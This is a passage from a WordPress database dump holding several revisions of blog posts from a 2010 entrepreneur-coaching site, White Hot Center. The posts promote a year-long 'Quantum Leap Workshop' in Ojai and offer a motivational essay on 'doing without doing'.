on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-29', '', '', '2010-10-11 10:46:57', '2010-10-11 17:46:57', '', 1115, 'http://www.whitehotcenter.com/2010/10/11/1115-revision-29/', 0, 'revision', '', 0),
(1150, 2, '2010-10-11 10:48:21', '2010-10-11 17:48:21', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs. I''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this well sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-30', '', '', '2010-10-11 10:48:21', '2010-10-11 17:48:21', '', 1115, 'http://www.whitehotcenter.com/2010/10/11/1115-revision-30/', 0, 'revision', '', 0);
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(1151, 2, '2010-10-18 17:44:20', '2010-10-19 00:44:20', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="446" height="340" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create results by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (for example, think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind creating the results you desire in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'publish', 'open', 'open', '', 'the-do-nothing-way-of-creating-a-compelling-vision-of-your-bigger-future', '', '', '2010-12-27 15:51:25', '2010-12-27 22:51:25', '', 0, 'http://www.whitehotcenter.com/?p=1151', 0, 'post', '', 1),
(1152, 2, '2010-10-18 16:33:15', '2010-10-18 23:33:15', '', 'doing without doing', 0, '', 'inherit', 'open', 'open', '', 'hammock', '', '', '2010-10-18 16:33:15', '2010-10-18 23:33:15', '', 1151, 'http://www.whitehotcenter.com/wp-content/uploads/2010/10/hammock.gif', 0, 'attachment', 'image/gif', 0),
(1153, 2, '2010-10-18 16:37:23', '2010-10-18 23:37:23', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\nEveryone knows that in order to get anywhere, you need to know where you’re going. Surprisingly enough, many early-stage entrepreneurs struggle against existing market forces in determining their course of action in realization of their vision. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\n\n<strong> </strong>\n\n<strong>Do without doing.</strong>\nThe common belief held by many entrepreneurs states that only your deliberate actions will make things happen. However,  I would like to suggest this belief will cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something is dropped, Less and less do you need to force things until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially doing with out doing.\n\nMost of us entrepreneurs are masters at doing!  Unfortunately “doing” usually involves struggle.  Our culture and early programming has placed tremendous value on doing. By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\n\n<strong>It is not action that makes things happen but intention!</strong>\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve it.\n\nPut another way, you must take no action until you have visualized your desire and made it real enough in your creative mind that your next action will seem like the most logical next-step.  Voila! Clarity and confidence will prevail in your mind– you will automatically know when it is time to take the appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\n<h2>If you are focused on your desire and still feel anxious, then you are not ready for creative action towards achievement.</h2>\nYou will know you are ready when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, your magnetic point of attraction is directed to that to which you do not want, rather than to your desire for a bigger, better future. Action is necessary but it is the last component of the creative process of defining your bigger, better future. Only focus your creative attention on your vision. Allow it to become real for you through your emotional connection to it. When you do, you will be in a state of doing without doing or action without effort.\n\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day White Hot Center Quantum Leap Workshop to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision', '', '', '2010-10-18 16:37:23', '2010-10-18 23:37:23', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision/', 0, 'revision', '', 0),
(1154, 2, '2010-10-18 16:37:49', '2010-10-18 23:37:49', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. Surprisingly enough, many early-stage entrepreneurs struggle against existing market forces in determining their course of action in realization of their vision. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only your deliberate actions will make things happen. However,  I would like to suggest this belief will cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something is dropped, Less and less do you need to force things until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially doing with out doing.\r\n\r\nMost of us entrepreneurs are masters at doing!  Unfortunately “doing” usually involves struggle.  Our culture and early programming has placed tremendous value on doing. By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve it.\r\n\r\nPut another way, you must take no action until you have visualized your desire and made it real enough in your creative mind that your next action will seem like the most logical next-step.  Voila! Clarity and confidence will prevail in your mind– you will automatically know when it is time to take the appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2>If you are focused on your desire and still feel anxious, then you''re not ready for creative action towards achievement.</h2>\r\nYou will know you are ready when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, your magnetic point of attraction is directed to that to which you do not want, rather than to your desire for a bigger, better future. Action is necessary but it is the last component of the creative process of defining your bigger, better future. Only focus your creative attention on your vision. Allow it to become real for you through your emotional connection to it. When you do, you will be in a state of doing without doing or action without effort.\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day White Hot Center Quantum Leap Workshop to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-2', '', '', '2010-10-18 16:37:49', '2010-10-18 23:37:49', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-2/', 0, 'revision', '', 0),
(1155, 2, '2010-10-18 16:38:04', '2010-10-18 23:38:04', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. Surprisingly enough, many early-stage entrepreneurs struggle against existing market forces in determining their course of action in realization of their vision. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only your deliberate actions will make things happen. However,  I would like to suggest this belief will cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something is dropped, Less and less do you need to force things until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially doing with out doing.\r\n\r\nMost of us entrepreneurs are masters at doing!  Unfortunately “doing” usually involves struggle.  Our culture and early programming has placed tremendous value on doing. By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve it.\r\n\r\nPut another way, you must take no action until you have visualized your desire and made it real enough in your creative mind that your next action will seem like the most logical next-step.  Voila! Clarity and confidence will prevail in your mind– you will automatically know when it is time to take the appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2>If you are focused on your desire and still feel anxious, then you''re not ready for creative action towards achievement.</h2>\r\nYou will know you are ready when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, your magnetic point of attraction is directed to that to which you do not want, rather than to your desire for a bigger, better future. Action is necessary but it is the last component of the creative process of defining your bigger, better future. Only focus your creative attention on your vision. Allow it to become real for you through your emotional connection to it. When you do, you will be in a state of doing without doing or action without effort.\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day White Hot Center Quantum Leap Workshop to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-3', '', '', '2010-10-18 16:38:04', '2010-10-18 23:38:04', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-3/', 0, 'revision', '', 0),
(1156, 2, '2010-10-18 16:57:44', '2010-10-18 23:57:44', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to the goal. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only your deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something is dropped, Less and less do you need to force things until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nMost entrepreneurs are masters at doing!  Unfortunately “doing” usually involves level of struggle or resistance.  Our culture and our early programming has placed tremendous value on doing. From an early age, we humans are conditioned to get things done. By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2>If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction is directed to that to which you are currently experiencing, rather than to your vision for a bigger, better future. Action is necessary but it is the last component of the creative process of realizing your bigger, better future.\r\n\r\n<strong>Only focus your creative attention on your vision. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day White Hot Center Quantum Leap Workshop to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-4', '', '', '2010-10-18 16:57:44', '2010-10-18 23:57:44', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-4/', 0, 'revision', '', 0),
(1157, 2, '2010-10-18 16:57:54', '2010-10-18 23:57:54', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to the goal. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only your deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something is dropped, Less and less do you need to force things until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nMost entrepreneurs are masters at doing!  Unfortunately “doing” usually involves level of struggle or resistance.  Our culture and our early programming has placed tremendous value on doing. From an early age, we humans are conditioned to get things done. By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2>If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction is directed to that to which you are currently experiencing, rather than to your vision for a bigger, better future. Action is necessary but it is the last component of the creative process of realizing your bigger, better future.\r\n\r\n<strong>Only focus your creative attention on your vision. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day White Hot Center Quantum Leap Workshop to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-5', '', '', '2010-10-18 16:57:54', '2010-10-18 23:57:54', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-5/', 0, 'revision', '', 0),
(1158, 2, '2010-10-18 17:11:31', '2010-10-19 00:11:31', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to the goal. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, you create your future. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only your deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something is dropped, Less and less do you need to force things until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance.  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, download the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-6', '', '', '2010-10-18 17:11:31', '2010-10-19 00:11:31', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-6/', 0, 'revision', '', 0),
